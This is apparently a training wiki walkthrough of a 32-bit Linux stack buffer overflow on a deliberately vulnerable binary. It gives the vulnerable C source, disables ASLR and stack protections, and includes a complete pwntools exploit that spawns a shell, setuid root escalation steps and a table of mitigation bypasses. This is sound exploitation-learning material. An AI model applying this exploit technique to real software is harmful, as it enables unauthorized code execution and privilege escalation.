Linux stack BOF walkthrough — end to end
TL;DR: Six-step recipe for a classic 32-bit Linux stack BOF on a deliberately weak binary: find the bug → fuzz crash → control EIP → bad chars → place shellcode → execve(“/bin/sh”). Practise on Crossfire / protostar / pwntools tutorials until it takes 20 minutes. Companion to stack-bof-walkthrough-end-to-end (Windows version) and stack-buffer-overflow.
Setup — deliberate vulnerability
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo apt install -y gdb gef python3-pwntools gcc-multilib
# Compile a vulnerable test binary
cat > vuln.c <<'EOF'
#include <stdio.h>
#include <string.h>
void vuln(char *s) { char buf[64]; strcpy(buf, s); }
int main(int argc, char **argv) {
if (argc > 1) vuln(argv[1]);
puts("done");
return 0;
}
EOF
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
sudo sysctl -w kernel.randomize_va_space=0 # disable ASLR for learning
The flags recreate a 2003-era binary so you can learn the primitive before fighting mitigations:
-m32— 32-bit (simpler register set, smaller addresses).-fno-stack-protector— no canary.-z execstack— stack is executable.-no-pie— fixed load address.randomize_va_space=0— heap/stack at fixed addresses.
Step 1 — confirm the bug
1
2
./vuln $(python3 -c 'print("A"*100)')
# Segmentation fault — confirms BOF
Step 2 — find offset to EIP
Pwntools’ cyclic pattern is easier than msf-pattern_create:
1
2
3
# offset.py
from pwn import *
print(cyclic(200).decode())
1
2
3
4
5
6
gdb-gef ./vuln
gef> run $(python3 offset.py)
# Program received signal SIGSEGV
# EIP: 0x6161616a (the bytes 'jaaa' = 'a' position in cyclic)
gef> pattern offset 0x6161616a
# → offset 76
Step 3 — confirm control
1
2
3
4
# confirm.py
from pwn import *
payload = b"A"*76 + b"BBBB" + b"C"*20
print(payload.decode('latin-1'))
1
2
./vuln "$(python3 confirm.py)"
# In gdb: EIP = 0x42424242 ✓
Step 4 — locate the buffer
You need an address that will contain your shellcode. On a no-ASLR build, buf is at a stable stack address.
1
2
3
gef> run $(python3 confirm.py)
gef> x/40x $esp-100
# Read the stack; find the 'AAAA...' region; note its start, e.g. 0xffffd1f0
This is your “jump target” — the address where shellcode will live after the overflow.
Step 5 — bad characters
For an argv overflow:
\x00is always bad (terminates the string).- Newline
\x0aand carriage return\x0dare not for argv (no shell parses them) but they break stdin-based exploits. - For envp-based exploits,
=is bad.
Practical: \x00 only for our strcpy argv case.
Step 6 — shellcode + jump
1
2
3
4
5
6
7
8
9
10
11
12
# exploit.py
from pwn import *
context(arch='i386', os='linux')
shellcode = asm(shellcraft.sh()) # spawns /bin/sh
offset = 76
ret_addr = p32(0xffffd1f0) # buffer address
nops = b"\x90" * 32
payload = nops + shellcode + b"A" * (offset - len(nops) - len(shellcode)) + ret_addr
print(payload.decode('latin-1'))
1
2
./vuln "$(python3 exploit.py)"
# you're root if vuln was setuid; otherwise plain shell
Wait — but if our shellcode lives at the start of our argv buffer, why do we need a return address pointing back? Because the saved EIP is 76 bytes in, and EIP needs to point at the shellcode. The NOP sled lets you be imprecise on the exact start.
What changes with modern mitigations
| Mitigation | Effect | Bypass |
|---|---|---|
| NX (DEP) | stack not executable | ROP — see ret2libc, rop-chains |
| ASLR | random stack/heap base | info-leak first, then ROP |
| Stack canary | random value before saved EBP | leak canary or overwrite via specific primitive |
| PIE | random binary base | leak a code pointer first |
| Full RELRO | GOT read-only | use a different primitive (heap, stack) |
The classic Linux BOF chain when NX is on:
- Overflow as before.
- Build a ROP chain that calls
system("/bin/sh")from libc — see ret2libc. - If ASLR is on, leak libc base via printf/puts of a known function.
For OSEE-style modern exploitation see exploit-primitives-for-mitigated-targets.
Practice ladder
- The walkthrough above —
vuln.cwith all mitigations off. - Crossfire (CTF) — same shape, x86 Linux.
- protostar — stack0 through stack6 (NX, then canary, then ASLR).
- ROP Emporium — eight challenges that build ROP fluency.
- pwn.college — formal curriculum.
Common failures
- EIP isn’t
42424242— offset wrong; recount with cyclic. - Segfault before shellcode — your return address points at a non-mapped page; gdb’s stack differs from native run (env-var noise shifts addresses). Re-derive under the same env conditions.
- Shellcode runs but exits immediately — wrong shellcode for arch;
shellcraft.sh()defaults to x86 oncontext(arch='i386'). - Works in gdb, fails outside — gdb stack layout differs. Wrap in
gdb.attachmid-run or use a NOP sled big enough to absorb the drift.
SUID note
If the binary has the setuid bit:
1
2
3
sudo chown root vuln
sudo chmod u+s vuln
ls -l vuln # -rwsr-xr-x
Now BOF → shell runs as root. Most CTF and OSCP scenarios assume this for the “win”.
References
- Phrack #49 — Smashing the Stack for Fun and Profit (Aleph One) — the original 1996 paper
- Pwntools docs
- Protostar exercises
- ROP Emporium
- See also: stack-buffer-overflow, ret2libc, srop, c-and-asm-primer, stack-bof-walkthrough-end-to-end